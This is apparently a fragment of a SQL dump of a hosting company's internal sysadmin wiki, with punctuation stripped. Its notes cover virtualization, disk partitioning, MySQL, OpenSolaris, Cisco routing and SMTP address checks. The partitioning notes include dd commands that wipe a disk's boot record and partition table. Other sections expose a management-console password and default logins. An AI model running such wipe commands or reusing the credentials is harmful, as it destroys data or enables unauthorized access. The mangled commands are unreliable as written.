usr bin startx usr bin openbox -- 5 2 dev null & exit ;; xfce # start xsreensaver & numlockx display 6 0 usr bin xscreensaver & display 6 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox # rox --pinboard default & # start xfce exec usr bin startx usr bin xfce4-session -- 6 2 dev null & exit ;; esac ;; 1 clear echo -e \' e 31m\' cancel tput sgr0 sleep 2 clear exit ;; 255 clear echo -e \' e 31m\' esc tput sgr0 sleep 2 clear exit ;; esac rm windowmanager clear echo -e \' e 32m\' bodhi zazen tput sgr0 '),(128,'virtualization methods',' many quests for the grail virtualization can be accomplished via several different methods each having its strengths and weaknesses performance of the guest virtual machines resource sharing density of vms that can be achieved on the same hardware all very with each method some require specific vt enabled cpus other will run on damn near anything some like vmware server can be set up by a 12 year old go vmware - other require custom kernels and a high level of comfort with linux and the shell this is intended as a very brief introduction to available virtualization technologies and to direct you to some exceptional tools to fast track you into using this technology with the booming interest in virtualization it well behooves any tech savvy person or sys admin to know more than one method only there is a lot going on in the enterprise data center and it world about this subject and knowing the available technologies their differences and niches might prove quite handy let let\'s look at the primary methods used for virtualization and some of the best projects showcasing each method full on virtualization full on virtualization full on virtualization vm ware and its awesome products are the giants here and the stuff of legend and rightly so - their products are really fantastic if you have not yet tried the free vm ware server - that is where to start download this and a couple vm ware appliances and you can be test driving the latest distros in minutes linux freebsd solaris - all running side by side in wonderful bliss try a new firewall or ids appliance set up a web server in minutes run five servers on one box easily yes it is really is that easy and that cool browsing the appliances pretty makes makes you feel like a kid in a candy store don\'t miss out on this opportunity for utter over indulgence if you don\'t seriously geek out on these please consult your physician as you may be suffering from an undiagnosed condition which if left untreated could become serious this is accomplished by vm ware emulating a complete hardware layer which the guest os then install on top of as far as the guest knows it is running on  that  hardware this is the style of virtualization a lot of us may already be familiar with but as you will see there are several other methods and they are quite different os level virtualization os level virtualization os level virtualization this is not like vm ware wherein full hardware environments for each separate vm are created in fact in this instance all running oses may be sharing one running kernel this allows greater density more vms per physical server and good performance however this introduces some limitations as well for viruozzo only linux can run on a linux host os and windows on a windows host server also though you can run many distros of linux - they all share one kernel - no custom kernels can run on a client os there are several popular projects using os level virtualization commercial products such as virtuozzo from sw soft utilize this method in fact virtuozzo is based on the open source community project named open vz and sw soft is a sponsor of this project virtuozzo offers a very nice gui for interacting with the guest vms and managing them however there are also several open source options for a gui front end to open vz including fluidvm from also additionally the proxmoxve os installer debian openvz includes a web interface gui for interacting with openvz and its virtual machines so - virtuozzo gets a lot of name recognition but what people often don\'t realize is that the underlying technology openvz is an open source project and you can use it today and with the compete install environment provided with proxmox be up and running in literally minutes  open vz   openvz is container-based virtualization for linux openvz creates multiple secure isolated containers otherwise known as ves or vpss on a single physical server enabling better server utilization and ensuring that applications do not conflict each container performs and executes exactly like a stand-alone server; a container can be rebooted independently and have root access users ip addresses memory processes files applications system libraries and configuration files for more information about the technology and how it differs from the others like xen vmware etc see introduction to virtualization doc openvz-intro pdf 73 kb or wikipedia openvz openvz is free open source software available under gnu gpl openvz is the basis of parallels virtuozzo containers a commercial virtualization solution offered by parallels openvz project is supported by parallels   web interfaces for open vz  proxmoxve  for a super easy way to test drive openvz try the installer which will install debian with openvz and a web interface in minutes see the guide at  yet to come   paravirtualization paravirtualization paravirtualization or things that go bump in the night xen yamma yamma ohm ohm ohm kvm virtualization kvm virtualization kvm virtualization omg ubuntu is using this next instead of xen run for your lives kvm ko and kvm-intel ko kvm-amd ko blah blah '),(129,'drive partitioning tools',' backup partition table before you get too crazy how about you back up your partition table first #sfdisk -d dev sda sda part table and restore it with #sfdisk dev sda sda part table copy the partition table from one drive to another so they are identical #sfdisk -d dev sda sfdisk dev sdb erasing mbr erasing mbr erasing mbr #dd if dev zero of dev sdb bs 446 count 1 the partition table starts on the next block this should only remove the mbr back up the partition table first see above erasing mbr & partition table erasing mbr & partition table erasing mbr & partition table #dd if dev zero of dev sdb bs 512 count 1 parted parted parted has an interactive and command line mode  note   unlike fdisk changes made with parted are committed to the partition table immediately so you must ensure each command is correct you can not back out or cancel like with fdisk #parted -l dev hda gives a nice partition list with human readable sizes resizing partitions using parted seems a bit flaky another option is to use resize2fs delete and recreate the new partition boundaries gui partitioning tools gui partitioning tools gui partitioning tools cfdisk provides a simple screen interface for basic partitioning operations '),(130,'caos linux and perceus cluster management',' infiscale offers both caos linux and perceus caos is a community operating system which is rpm based and binary compatible with rhel perceus is a cluster management system that is very scalable and easy to use here is a blog of a guy who set up a perceus cluster giving some examples install and config command walk through perceus 1 x manual '),(131,'fluidvm install',' fluidvm intro fluidvm is a virtualization solution which runs as a cluster of servers there is a management server and separate physical servers for xen and openvz containers vms to run on thus if you wish to use both types of virtualization a cluster of three servers is required only the xen vm server requires a vt enabled processor full install instructions and user admin guides are at the fluidvm site  management server   vt not required centos 5 1 with normal kernel this can be a 1ghz system low end is fine run the install py script install completes with congratulations binary karma fluidvm back-end management server installation was successful please note that binary karma fluidvm back-end management server must always be run under a normal kernel do not run binary karma fluidvm back-end management server under the xen or openvz enabled kernels  xen vm server  vt required 64 bit centos 5 1 with running xen kernel yum groupinstall virtualization clustering cluster storage yum install kmod-gnbd-xen if you install centos 5 2 you will need to ensure all the below packages are installed manually - otherwise it won\'t work ensure all of the following packages are on the server 2008 aug 15 fri 05 33 42 installed nfs-utils 1 0 9 2008 aug 15 fri 05 33 41 installed portmap 4 0 2008 aug 14 thu 12 51 29 installed fluidvm-agent-updater-bk 1 0 2008 aug 14 thu 12 51 28 installed pyparted 1 8 1 2008 aug 14 thu 12 51 25 installed pyopenssl 0 6 2008 aug 14 thu 12 51 22 installed iscsi-initiator-utils 6 2 0 868 2008 aug 14 thu 12 49 41 installed kmod-gnbd-xen 0 1 4 2008 aug 14 thu 12 48 05 installed gnbd 1 1 5 2008 aug 14 thu 12 48 04 installed lvm2-cluster 2 02 32 2008 aug 14 thu 12 47 54 installed kmod-gfs 0 1 23 extract and run install py  openvz server  yum group install clustering cluster storage management gui management gui management gui access it at this gui run on top the etc init d nginx service multiple users can be logged in at the same time but only one instance of each user perhaps we can set it up for ldap authentication etc otherwise just make a few separate admin accounts services & ports services & ports services & ports the services that need to be running on each server and the ports used are described at on the xen server also ensure xend is running setting up vms setting up vms setting up vms for zen vms you can install the os from a physical cd placed in the management server since ours does not have a cdrom just scp the iso to the management server to nbd directory and rescan iso area in the gui virtual cockpit iso store tab old notes old notes old notes fluidvm is a web based gui for managing kvm and open vz based virtual machines trial download and full documentation can be found at download the good stuff wget extract and run the python installer note this is just the web gui you also need to install bk_vkarma_backendu8c2adx x tar bz2 bk_xen_servicesu8c2adx x tar bz2 bk_openvz_servicesu8c2adx x tar bz2 system-config-securitylevel-tui disable se linux ensure firewall off or configured service webkarma-lighttpd start service webkarma start netstat -ntlp #look for python listening on port 8086 login with admin admin '),(132,'solaris and linux dtrace',' solaris dtrace solaris dtrace solaris dtrace observable architecture is one description dtrace is a very large improvement on system profiling tools vastly more usable than the numerous discrete tools commonly used for system profiling in nix while sar vmstat ps iostat netstat etc all provide useful information they use different interfaces don\'t work together and have various limitations dtrace is solaris 10 allows you to gather information on a depth and breadth not previously possible and do so with extreme speed and simplicity a scripting language called d is used to create scripts calling on dtrace functions to perform profiling operations dtrace is apparently being ported by apple as is available in os x 10 5 some interesting stuff on dtrace chime chime chime opensolaris has a gui available for dtrace available called chime which you can find here you can find additional information and screen shots of it here and even a screen cast chime allows you to monitor and graph over time a large number of dtrace hooks as well as record and playback sampling linux dtrace systemtap linux dtrace systemtap linux dtrace systemtap the linux world not to be out done moves forward with an implementation similar to dtrace called systemtap here is a red hat article describing the install of systemtap and a basic orientation an interesting comparison of systemtap and dtrace dtrace on linux apps dtrace on linux apps dtrace on linux apps linux applications can be analyzed with dtrace by running the app in a solaris brandx zone thus making the application accessible to dtrace the app can then by analyzed for performance using all of dtrace dtrace\'s capabilities '),(133,'mounting and accessing a container file system','  container root file systems  virtuozzo uses a root efd file which contains the customers root file system if the vps is not running won\'t start etc then how do you access their stuff ahh yes you may be able to just mount the container file system without starting the vps then you can browse the file system to recover data etc the following procedure was used to import mount browse and recovery a container from a previous virtuozzo host os drive so we could not just mount the failed vps but had not make a new container move the container over then mount it this example assumes we are using a windows vps if you simply have a vps that will not start but you need to mount the file system you should be able to just use the vzctl mount command steps 5 and 6 below to mount the vps but not start it if you need to run chkdsk on a vps that won\'t start please see running chkdsk on a container file system  migrating mounting browsing container filer systems  the basic procedure to recover migrate a container 1 in virtuozo web interface create a new essentially empty default vps container 2 stop the original vps which it most likely is because it is broken and otherwise you likely wouldn\'t be reading this 3 rdp into the virtuozzo server 4 copy the files from the broken container to the new container for example you might find the old guest os files in drive vz private continerid you will see this container has a root efd file this is like either a virtual file system or some kind of archive this is the customers root file system if you look there is a root folder inside their container id folder s vz private 1134 root but this will appear empty as the root efd file is not mounted in the container not mount to this root folder 5 mount file system root efd to the new container container\'s mount point which is the root folder this is done using the virtuozo cli commands these are simply entered in the windows command prompt just start a command shell and type c vzctl mount 100 where 100 is the id of the new container which has the root efd and other files you copied over from the old broken vps 6 you can now browse the root folder in the new container find the data you need and copy and paste it as needed references html version '),(134,'running chkdsk on a container file system',' summary vzctl stop 115 vzcfgt get 115 guid vzdskctl mount c vz private 115 root efd 799251be-720c-468e-b877-913f49476001 chkdsk f volume 799251be-720c-468e-b877-913f49476001 vzdskctl umount 799251be-720c-468e-b877-913f49476001 vzctl start 115 '),(135,'dell openmanage it assistant',' intro dell dell\'s openmanage it assistant ita is a central management console which allows the monitoring and management of a wide variety for dell devices on your network ita runs on a windows server and provides services through a web interface you can discover configure and monitor all dell servers on your network set snmp traps push out bios updates and run ssh and ipmi scripts etc note there is no linux version of the ita central management server - however the software installed on a managed server server administrator is available for both linux and windows openmanage it assistant a central management server that monitors all dells which are configured correctly openmanage server administrator runs on each dell server that we want to manage and monitor this is available for both centos and windows clients for general information and install instructions on this please see dell openmanage server administrator using ita using ita using ita access our central it assistant dell management console server at or login administrator pw s4g0itast4t1on  quick tips   view all currently discovered devices under device view servers note if ipmi on the client is configured it will show up under servers if not the device will show up under the unknown category discover devices by ip ranges searching a entire class c if you like etc you can set up snmp traps to monitor various hardware events etc impi and ssh scripts can be configured using the command line connection option installing openmanage ita installing openmanage ita installing openmanage ita prepare a windows 2003 server install snmp add remove windows components configure the snmp service setup the community read and read-write strings download the latest windows exe insaller 300 mb from when you install this is runs a system config test and will show you are not running ms sql lite and will prompt you to install it after install completes click on the ita icon on desktop accept certificate and log in using the same credentials as the windows server you can access this interface from any browser by going to the server ip via https to port 2607 documentation documentation documentation '),(136,'opensolaris',' sun history opensolaris is the open source distribution of sun microsystem microsystem\'s solaris operating system the opensolaris project was started by sun in june of 2005 it runs on both sparc and x86 systems and it has come far in a short amount of time solaris has a long history and has been one of the major operating system developed in the last 20 years it states it is the most advanced operating system on the planet - and this may not be unfounded with features such as zfs and dtrace containers and zones for running virtual machines and other distributions in discreet areas and the numerous other innovations and projects sun is currently working on solaris may be just that read on for more on these technologies sun sun\'s history of support for open source is also quite noteworthy have you ever used nfs an early pioneer in tcp ip sun developed the network file system which became a standard in the industry and is still widely used today open office a fantastic open source office suite was developed by sun and given freely long before most people had even heard the word linux and recently sun sun\'s acquisition of mysql ab and virtual box while allowing both projects to maintain their open source projects should not be missed with opensolaris sun is giving its formidable operating system and its underlying technology to the world they have spent millions developing it but see further value in the open source model sometimes criticized for not offering all their products under the gpl that may also change see this site for some interesting comments from sun sun\'s ceo jonathan schwartz and the possible gpl future of things like zfs and opensolaris this is very interesting indeed for more information visit for the public face of the project or for the development community site project indiana project indiana project indiana the model of having a commercial enterprise or a long term support product and a parallel distribution for showcasing or testing new technology is familiar with such things as red hat and its fedora distros and suse and open suse similar to that sun has now launch project indiana - an opensolaris based binary distribution these releases will come out on a 6th month release cycle they contain features which have become common to linux distros over the recent years such as a live cd format but they also showcase unique solaris features such as native zfs file systems and dtrace sun sun\'s entrance into the distro market may draw a sneer or two from the linux crowd - a sort of little too late attitude the idea of microsoft microsoft\'s entrance to console gaming with the x box and apple apple\'s similar late arrive to mp3 players comes to mind a late comer sometimes comes at the perfect time i certainly see a fair number of ipods these days opensolaris may not get too much attention at first but i think sun intends to change that and behind project indiana is an individual well equipped for the job ian murdock & indiana ian murdock & indiana ian murdock & indiana ian murdock sun sun\'s chief os strategist is the force behind opensolaris and project indiana ian founder of debian linux is the creator of one of the most popular linux distriubtions in the world ian took a position at sun and is the man behind these projects he discusses his move to sun and involvement in sun projects on his blog at why is this that significant have you ever used debian or ubuntu what did you think of its apt package management exactly some would argue that a distro is as good as its repositories and clearly debian excels in this area imagine if solaris had a truly fluid package manager and you could install software as easily as in debian well - opensolaris is well on the way with its new package manager installing open office is as simple as running #package install openoffice the same applies for mysql and about 1 200 other packages of course the number of packages available compared to linux repositories is slight indeed but that can certainly change perhaps the meteoric rise of ubuntu will have an equal still wondering about that name project indiana deb ian  was named for ian and his wife deborah they live in indiana and sun sun\'s project is ind ian a merging of the minds merging of the minds merging of the minds while not a huge fan of os x there is an interesting bit of technology to note when os x was released for the intel platform a huge concern for apple was the ability for intel based macs to be able to run all the software which had been developed for the powerpc macs obviously the whole os x on intel initiative would not go far if this flopped and backward compatibility was not maintained the solution was rosetta - and it was essentially a complete success rosetta was not an emulator or a full-on style virtual machine that ran the older powerpc apps instead it transparently and dynamically translated the binary at execution time into instructions for the new processor architecture it was now running on it actually would take the cpu instructions written for one architecture and dynamically translate them to another through a cross platform vitrualization solution using binary translation amazingly enough it worked extremely well apple integrated this with os x for intel to the point where the user was essentially completely unaware of it if they downloaded an app compiled for a powerpc processor and simply tried to run it on their intel mac it actually ran now while there were some apps that did not run under rosetta and there was a performance issue with heady apps like photoshop i have to say that i could not believe how well it actually worked interestingly enough the company that produced rosetta for apple also produces products that allows apps compiled for sparc to run on solaris x86 platforms now imagine the same type of thing being done to allow linux apps to run under solaris transitive already makes products that allow sparc apps to run on linux x86 and itanium platforms if they made a product to translate the other way it would allow many unmodified linux apps to run on solaris other cool sun stuff other cool sun stuff other cool sun stuff if you want to learn some about some very cool things in solaris and that sun is doing you might find the following of interest  zfs - zettabyte file system  you can play with this in linux and run in under fuse or install opensolaris and test drive it that way there are so many interesting things about this it deserves elaboration zfs_file_system  project crossbow  sun was a pioneer in tcp ip and it continues it it\'s work by rethinking network device utiliation to take full advantage of 10 gigabit ethernet even in virtualized environments and maintain qos with not degredation in performance  dtrace  very very cool the crystal ball allowing you to gaze deeply into the internal workings of the kernel and applications solaris_and_linux_dtrace '),(137,'opensolaris vmare install',' passwords sun default image root opensolaris jack jack vmplanet image vmplanet vmplanet net fluidvm boot fluidvm boot fluidvm boot add the kernel boot option -b atapi-cd-dma-enabled 0 to allow the live cd image to boot properly in fluidvm installing in xen installing in xen installing in xen installing vmware tools installing vmware tools installing vmware tools yea it does not really work using the vmware-tools installer installing vmware tools on opensolaris 2008 05 will result in a black x screen and you will be stuck log into a console session - if your grub does not have a text mode entry it will start x with the black screen automatically and you will be stuck to avoid this simply press u8e28098eu8e28099 to edit the boot line in grub then u8e28098eu8e28099 to edit the kernel line append this to the end of the line init bin bash and then boot the kernel with u8e28098bu8e28099 log in as root and the pw is opensolaris now you just need to rename a file view the gdm log and it will likely show an unknown symbol referenced by the offending driver to see the log #tail var log gdm 0 log the file in usr x11 lib modules drivers is the problem i renamed the existing vmware_drv so to vmware_drv so-broken and then renamed vmware_drv so prevmwaretoolsinstall into vmware_drv so rebooted and it works great this great tip is from ankush and came from which is a pretty good guide on install opensolris in vmware fusion networking config networking config networking config ifconfig -a make sure your etc resolv conf is configured still won\'t work check that etc nsswitch conf - hosts and ipnodes parameters need to be set to files dns in order to make dns work one way to set this up is to use one of the templates # cp etc nsswitch dns etc nsswitch conf installing mysql installing mysql installing mysql you can use the gui software installer and try to start the service for the gui service manager which did not work for me or just do it from the shell i dug most of the following out of #pkg install sunwmysql5  install the mysql tables and start the service   # usr mysql bin mysql_install_db usr mysql bin mysqld & you can\'t start the service as root by default  set the root password   mysqladmin -u root password \'password\' connect with my mysql client usr mysql bin mysql  setting up my cnf  cp usr mysql share mysql my-medium cnf var mysql my cnf  setting up another mysql user and password   mysql -u root -p mysql create database demo; mysql grant all on demo to user1 localhost identified by \'mypassword\'; slow boot speed slow boot speed slow boot speed # vi rpool boot grub menu lst before title opensolaris 2008 05 snv_86 x86 kernel platform i86pc kernel isadir unix -b zfs-bootfs module platform i86pc isadir boot_archive after title opensolaris 2008 05 snv_86 x86 kernel platform i86pc kernel unix -b zfs-bootfs module platform i86pc boot_archive xorg xonf file missing xorg xonf file missing xorg xonf file missing if you need one you put it in etc x11 xorg conf but opensolaris defaults to just using sane defaults without a config file you can get a dump of a default xorg conf file by stopping gdm svcadm disable gdm logging in on console and running usr x11 bin xorg -configure either login as root or add pfexec in front if running as yourself and then restart gdm with svcadm enable gdm general documentation general documentation general documentation '),(138,'openssh chroot',' if you want to chroot ssh users there are a few things to consider and and ssh patch you can use openssh does not really support this in the default binary see '),(139,'building scalable cisco networks',' eigrp variance allows load balancing over unequal cost paths ospf does not allow this to include higher cost routes that the successor use the variance command  note   this will only balance one routes that are successors or feasible successors - if the advertised metric of a route is higher then the feasible distance it will not but used in load balancing ospf ospf ospf default-information originate always will propagate this route to all other routers as the default route router ospf pid pid is only locally significant but ospf area must be the same redistribute static network 0 0 0 0 255 255 255 255 will advertise all networks on that router ip ospf hell dead time hello and dead intervals must be the same sh ip ospf sh ip protocols displays high level protocol info sh ip ospf neighbor detail shows who is dr bdr ip ospf cost sets the cost of the interface as specified clear ip ospf process to force ospf to run stub totally stubby nssa stub totally stubby nssa stub totally stubby nssa default routes and injected downward into stub and totally stubby areas by ospf automatically  stub   only one exit not in backbone not a transit block type 5 e1 & e2 routes  totally stubby   blocks 3 4 and 5 no external or ia routes  nssa   accepts type 5 lsa e routes but blocks 3 & 4 ia routes makes is so an area can accept external routes but still maintain the characteristics of a stub area to the backbone floods lsa 7 7\'s in the area but leave area as a lsa 5 when passes through abr toward backbone two variations of nssa are  nssa stub and nssa totally stubby  config area 2 nssa stub area 2 nssa no summary totally stubby route summarization route summarization route summarization inter-area route summerization between areas area area-id range network-address subnet-mask area  transit-area  virtual-link  router-id  external route summarizaion between as summary-address network-address subnet-mask router ospf 1 default-information originate always will propigate a default router into the as however you must ensure the router adverting this has a specified default route else all traffic pointed to it will be dropped is-is is-is is-is isis must be enabled on all interfaces manually router isis net 49 0001 1111 1111 1111 00 area system id port interface fastethernet 0 0 ip router isis interface loopback0 ip router isis isis config and analysis commands show clns protocol show clns neighbors show isis topology show isis database show isis database router1 00-00 detail show clns route show clns interface fastethernet 0 0 the dis same as dr router is the one displayed with a non-zero value in the second octet in the database e g router1 02-00 router1 system name 02 pseudonode -00 fragment number only the dis creates pseudonode numbers and is thus the dis the system id and pseudonode id together are called the circuit id e g router1 02 to set the router type config t router isis is-type level-2-only interface timers interface fastethernet 0 0 isis hello-interval 5 this value is multiplied by 3 by default route redistribution route redistribution route redistribution router rip distance 105 ip mask or distance 105 ip mask acl_number ospf needs to receive hello packets to form adjacencies then a interface in passive mode blocking broadcast hellos would prevent this unicast hellos sent to an ospf router would allow it to still establish an adjacency router ospf passive-interface default #set all interfaces to passive mode no passive-interface serial 0 0 #to bring specified interface out of passive mode redistributing rip into ospf may require a default information-originate always under ospf to let rip know it is the default route so that traffic will be routed back to rip hosts without this the rip hosts may have router to the ospf side but no return traffic will occur router ospf 1 default information-originate always to change the default metric type of the incoming route use redistribute rip sub metric-type 1 summarizing eigrp routes to advertise interface serial0 0 ip summary-address eigrp 1 192 168 48 0 255 255 254 0 #above will advertise 192 168 48 49 0 as supernet 1 sh ip route 192 168 48 0 255 255 254 0 #will desc this in detail turn of advertised 32 destination prefixes in ospf interface loopback0 ip ospf network point-to-point summarize inter-area routes at the abr in ospf summarize at the abr or asbr the two ospf exit points so lsa are converted into the correct types eigrp allows summartization at any router interface in the domain ospf does not area 20 range 20 192 168 8 0 255 255 252 0 #will combine 192 168 8-11 0 into one summarized route redistributing eigrp & ospf router ospf redistribute eigrp 1 subnets redistribute connected subnets router eigrp 1 redistribute ospf 1 metric 10000 100 255 1 1500 redistribute ospf 1 bgp fun bgp fun bgp fun bgp requires an igp running inside of an as of 3 or more routers for it to function if there is only one or two routers in an as there is no need for an igp as everything is directly connected bgp sometimes needs the next hop attribute set in order to manually say hey i am your next hop router not the router next to me which i am advertising router bgp 100 neighbor 10 0 0 1 remote-as 200 #my neighbor and its as number network 192 168 2 1 mask 255 255 255 0 #my networks to advertise sh ip bgp neighbors will show the link state as it establishes itself end state is established - starting state is active filter routes if you don\'t filter you will by default allow transit traffic i e others can route through you to get to the ases which you are advertising - you are a conduit access-list 1 permit 192 168 0 0 0 0 1 255 above are the allowed advertised routes router bgp 100 neighbor 10 0 0 1 distribute-list 1 out neighbor 172 16 0 1 distribute-list 1 out in other words with these neighbors use the distribute list defined and allow only the 192 168 0-1 x traffic out - only advertise these networks but not any others primary and backup default routes ip route 0 0 0 0 0 0 0 0 10 0 0 1 210 ip route 0 0 0 0 0 0 0 0 172 16 0 1 220 clear bgp information clear ip bgp 10 0 0 1 more on bgp more on bgp more on bgp next-hop-self #needed to propagate correctly as by default the next hop is the  original   router that advertises itself local-pref and weight values higher is better localpref is not exchanged between ases multi-exit discriminator attribute with multiple entrances to an as the lower med value is preferred med is configured on the entrance side of the as localpref on the exit side of an as know the bgp community types in order to push a route up into the routing table that bgp has knowledge of you can enter the bgp process and use no synchronization sanjose2#sh ip bgp bgp table version is 19 local router id is 192 168 1 6 status codes s suppressed d damped h history valid best i - internal origin codes i - igp e - egp - incomplete network next hop metric locprf weight path 172 24 1 0 24 0 0 0 0 0 32768 i 192 168 1 4 30 0 0 0 0 0 32768 i i199 9 9 0 172 24 1 18 0 100 0 i to puch 199 9 9 0 into the routing table sanjose2 config-router #no synchronization ip multicasting ip multicasting ip multicasting because the first bit of the second octet is ignored there are 32 ip address that will resolve to the same multicast mac address any 00-01-5e-xx-yy-zz mac is multicast internet group management protocol igmp igvm v2 - hosts transmits a leave message to 224 0 0 2 all routers to indicate the group it is leaving ip multicast-routing router config # ip pim dense sparse sh ip mroute interface fa0 0 ip igmp join-group 229 7 7 7 sh ip igmp groups debug ip igmp debug ip packet ipv6 ipv6 ipv6 general interface configuration and eui-64 auto config options r2 config-if #ipv6 address fec0 2 1 112 local-link r2 config-if #ipv6 address fec0 2 1 64 eui-64 to automatically generate last 64 bit host id r2#sh ipv6 interface serial 0 0 r2#sh ipv6 interface brief enable ipv6 routing r2 config #ipv6 unicast-routing r2 config #ipv6 sef ospf networks are added to the interface unlike adding them under the router ospf mode r2 config-if #ipv6 ospf 1 area 0 ospf process 1 area 0 r2#sh ipv6 ospf neighbor interface r2#sh ipv6 route final notes final notes final notes default routes default information originate always on border is propagated to branch2 branch 2 router ospf 1 contains area 1 stub no summary which pushes the default route from border into it ipv6 tunneling interface tunnel0 no ip address ipv6 address 2002 a01 9 64 tunnel source 10 1 0 9 tunnel destination 10 1 0 11 tunnel mode ipv6ip '),(140,'business and economics',' economics  thomas malthus   wrote famous essay on population presenting the ideas of overpopulation and limited resources the ideas of which gave rise to the subject of economics being regarded as the dismal science contemporary supporters of malthus ideas are termed neo-malthusians  adam smith   wrote  an inquiry into the nature and causes of the wealth of nations  1776 and is considered the father of modern economics '),(141,'smtp address verification',' email address verification how to tell if an email address exists at a remote mail server the below is from a email verification test using smtp checks these checks connect to an smtp agent using gopher from your machine they only work with certain browsers verify smtp email equivalent to telnet digitalriver com 25 helo vancouver-webpages com vrfy zombiesmacker quit show smtp forwarding equivalent to telnet digitalriver com 25 helo vancouver-webpages com expn zombiesmacker quit note additional information from the smtp server may disallow certain commands such as vrfy and expn and will thus return a result such as vrfy joeuser someplace com 252 2 5 2 cannot vrfy user; try rcpt to attempt delivery or try finger this can be modified in the smtp server config for example for sendmail locate the config file usually etc mail sendmail cf and look for the section #privacy flags - novrfy or goaway may be specified either of which will prevent use of the vrfy command modify the file and restart the smtp server if allowed a proper vrfy query and response may look like vrfy joeuser someplace com 250 2 1 5 juser '),(142,'mysql tools and tips',' user priviledges user priviledges user priviledges mysql uses both the user name and host you are connecting from to establish identity to create a new user and grant privilages for local and remote access mysql grant all privileges on ocsweb to \'sago\' \' \' identified by \'sago\'; mysql grant all privileges on ocsweb to \'sago\' \'localhost\' identified by \'sago\'; mysql set password for \'sago\' \'localhost\' password \'blargh\' ; mysql flush privileges; mysql show grants for \'sago\'; mysql show grants for \'sago\' \'localhost\'; mysql select user host from mysql user; mysql revoke all privileges grant option from vadar; mysql drop user vadar; note the revoke statement removes access privileges but it does not remove entries of login names from the user table of the mysql database thus one can still connect to the database server using those login names but you will not be able to access the databases where privileges have been removed a good summary of useful mysql commands and some good training running out of tmp running out of tmp running out of tmp as i discovered from this post mysql creates hidden files in its tmp when executing queries these are not typical unix file hidden files but are rather unlinked but open files they will not show up with ls -la etc this is also why you never see any new files show up in tmp despite mysql creating them all the time also if you try to watch the size of tmp with something like du -sh tmp that won\'t work either - as the file is deleted it is not calculated into the used space thus the tmp file remains empty while you then run out of space oddly you will however see the space gradually being used up by running df -h though you can identify these with lsof as given in the above post for example root someplace # usr sbin lsof -c mysql -a l1 command pid user fd type device size nlink node name mysqld 26121 mysql 4u reg 253 6 3057 0 423510018 data5 mysqltemp ibsoxlmj deleted mysqld 26121 mysql 5u reg 253 6 0 0 423510019 data5 mysqltemp ibtsvfjc deleted so if your query is reporting running out of room in tmp try running it again while monitoring the size of the partition with df -h and using lsof as above and you will likely find you are in fact running out of room though you may appear to have plenty more information on using lsof to find unlinked open files can be found here and why unlinking files this way is not always good with other tips can be found here exporting databases exporting databases exporting databases a good intro guide for using mysqldump can be found here the basic syntax might be something like mysqldump -v --single-transaction my-database my-database sql  size differences sql vs on-disk  file size differences between databases on disk and sql dump files created from mysqldump or phpmyadmin can be caused by several factors including whether extended-insert was used when running the dump the default behavior for this is set as an environmental for the mysqldump utility and the current state of this and other variables can be viewed by running #mysqldump --help variables are displayed in paramater value pairs such as extended-insert true you may change these using #mysqldump --extended-insert false importing databases importing databases importing databases root ns1 home timelord www # mysql timelord_sql10minutes show variables like \' dir \'; mysql 4 x password hashes mysql 4 x password hashes mysql 4 x password hashes if passwords in a database were created with the version 4 password function they will be of a different hash value than the version 5 function there are a few solutions given here you can also change your php code to use the old_password function which will produce the same hash as the version 4 function another option is to start mysql with the old passwords option then reset all the passwords in the database as described here unauthenticated users unauthenticated users unauthenticated users mysql does reverse dns lookups on connecting clients while this occurs they will be listed as unauthenticated user in the process list this adds a bit of time and may not be required you can disabled this as described here and here by including you your my cnf skip-name-resolve or by starting mysql with --skip-name-resolve select statement magic select statement magic select statement magic trying to select results from two tables including null values but the null ones are being skipped try looking here query logging query logging query logging mysqld set-variable long_query_time 2 log-slow-queries var log mysql log-slow-queries log #log var log mysql mysqld log # log all queries # log-bin var log mysql mysqllogb log the binary log contains all statements that update data or potentially could have updated it for example a delete which matched no rows statements are stored in the form of events that describe the modifications the binary log also contains information about how long each statement took that updated data the binary log is not used for statements such as select or show that do not modify data if you want to log all statements for example to identify a problem query use the general query log interfaces interfaces interfaces in addition to phpmyadmin there are some other interfaces for mysql such as resources resources resources some great links '),(143,'biostar 740g bios update',' a740g bios updating note  as of 23 sep 2008 the latest bios available on biostar biostar\'s site is 8 00 14 which is the version that shipped with our boards   the amd biostar a740g m2 boards do not have a functioning bios based built in update utility and biostar does not supply a dos based flash utility - they expect you to install windows in order to flash a system biostar only distributes afuwin exe the windows version of the flashing utility while f12 during post does launch a built in flash utility but it is not clear what image type they are looking for from the floppy an alternative is to use the dos equivalent of the flash utility available directly from ami which allows you to save and load bios images so yes this means that when a bios update eventually comes out you have to a install it in windows and then if you like you can b save the bios using afdos exe on floppy and then use the same utility to flash other systems with or c use a dedicated hard drive with windows on it that servers to perform bios updates on these boards through windows get the ami dos flash utility from here the dos based one is called afudos exe and is a dos executable put it on a floppy and execute from there note this is a command line tool unlike the text gui flash utilities for yesteryear and you specify command line switches for options as below afudos useage afudos useage afudos useage a afudos usage afudos i o additional usage ------------------------------------------- afuxxx i o nr p b n c nr - don\'t check rom id pbnc - b - program boot block n - program nvram c - destroy system cmos bios update bios update bios update '),(144,'open office docx converter',' need to open microsoft docx files in open office the newest version of ooo supports docx but if you are using an older version you can use the following steps to install a command line converter the above provided most of the steps though you may have to make some adjustments to sym linke a library depending on your version of libtiff my steps where sudo apt-get install rpm libgif4 wget rpm2cpio odf-converter rpm cpio -ivd sudo cp usr lib ooo-2 0 program odfconverter usr bin sudo apt-get install libtiff4-dev sudo apt-get install libtiff4 sudo ln -s usr lib libtiff so 4 usr lib libtiff so 3 odfconverter i sagosafe docx with no other option this will produce an odt conversion of the docx file '),(145,'sago job descriptions',' general description tracking code 2008140 job description what we\'re looking for -- technicians should be familiar with common network attack methods used against systems connected to the internet -- working knowledge of juniper foundry and cisco networking devices required experience -- technicians should be familiar with common network attack methods used against systems connected to the internet -- working knowledge of juniper foundry and cisco networking devices -- knowledge of fundamental ip networking methods as well as linux and windows systems administration is a plus -- ccna jncia-m or other relevant certifications network operation center noc technician i network operation center noc technician i network operation center noc technician i detail-oriented team members to join our network operations center who demonstrate exceptional customer service and analytical skills weu8e28099re looking for people who can effectively interact with a wide range of customers who have varying levels of technical proficiency required skills - tcp ip experience including ip addressing subnet masking and the basics of ip routing - experience with any of the following windows servers solaris linux plesk cpanel virtuozzo - ability to multi-task many requests in an organized and timely manner - proven excellence in verbal written and interpersonal communication skills with a strong emphasis on customer support service - maintain a professional level of follow up and attention to detail - superior organizational skills - high school diploma or ged required this is a shift-based 